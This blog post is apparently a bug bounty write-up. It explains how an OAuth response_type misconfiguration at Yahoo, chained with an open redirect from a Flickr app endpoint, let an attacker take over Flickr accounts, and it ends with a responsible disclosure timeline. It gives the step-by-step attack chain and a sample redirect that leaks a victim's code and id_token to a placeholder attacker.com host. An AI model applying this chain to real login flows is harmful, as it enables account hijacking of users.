Flickr is an image and video hosting website which is owned by Yahoo and resides on the flickr.com domain.
Some time has passed since I have tested Flickr’s login flow, so I have decided to take a look and see if something has changed. Surprisingly, I have noticed that Yahoo implemented the classic OAuth login flow instead of the previous flow described in my previous post.
Overview of the new Flickr.com login flow
When a user wants to login to Flickr.com he clicks a sign-in button which redirects him to the following url:
If the user is not signed in to Yahoo, he is redirected to the Yahoo login page to enter his credentials and then back to the mentioned url. What happens after arriving to the OAuth endpoint is that Yahoo generates a code to identify the logged in user, which is sent back to Flickr via another redirect:
What happens now is that in the background Flickr exchanges the code supplied by Yahoo for an access token, and retrieves data about the user using this access token. Flickr now logs the user in and redirects the user to the url passed through the redir parameter.
Taking over Flickr.com accounts
While testing Yahoo’s OAuth implementation I came across this page: https://developer.yahoo.com/oauth2/guide/openid_connect/getting_started.html stating that it’s possible to set the response_type parameter to contain multiple values. I have decided to check what happens if I set the parameter to have the value: code id_token. Surprisingly, instead of sending the code in the query string part of the url to Flickr, Yahoo were appending both the code and the id_token to the fragment part of the url, redirecting me to:
As you might know, the fragment part of the url (everything after #) is preserved when handling redirect responses from the server. So using this minor issue, we could potentially leak a victim’s code parameter to anywhere the redirect parameter points to.
However, Flickr only performs the redirect if a valid code is passed to the server via the query string. So, for an attacker to be able to leak the code, he actually needs to generate a code using his own account and then send it as part of the redirect_uri url.
So, we are currently able to leak the code value of a victim to the url passed in the redir parameter. However, it seems that Yahoo correctly verified that the url is of the form: https://www.flickr.com/*.
This means that we need to find an open redirect on flickr.com in order to leak the authentication code to an attacker’s domain. Due to recent findings it was not an easy thing to do.
I was finally able to find such a redirect after downloading the Flickr android application. I have noticed that if the wrong token value is passed to a social sharing endpoint (available though the Flickr app and not available via the website) a redirect is performed to the callback_url parameter:
So, putting it together the attack flow looks like this:
An attacker generates a Flickr authentication code for his own test account. He then constructs the following url to send to the victim (here we use attacker.com as the attacker’s server):
When the victim clicks the link he is redirected to
Which now logs the attacker into Flickr on the victim’s browser and redirects the victim to:
Which again redirects the victim to:
https://attacker.com/#code={victim’s-code}&id_token={victim’s-id_token}
What happens here is that using javascript the attacker extracts the code from the url and browses:
This will log in the attacker to the victim’s Flickr account.
Timeline:
Aug 13th 2017 – Initial report via Hackerone
Aug 14th 2017 – Report triaged & initial reward of 500$ is given
Aug 15th 2017 – Report resolved (within 5 hours!)
Sep 6th 2017 – Additional 3500$ rewarded
MISHRE 
5 thoughts on “Yahoo Bug Bounty: Exploiting OAuth Misconfiguration To Takeover Flickr Accounts”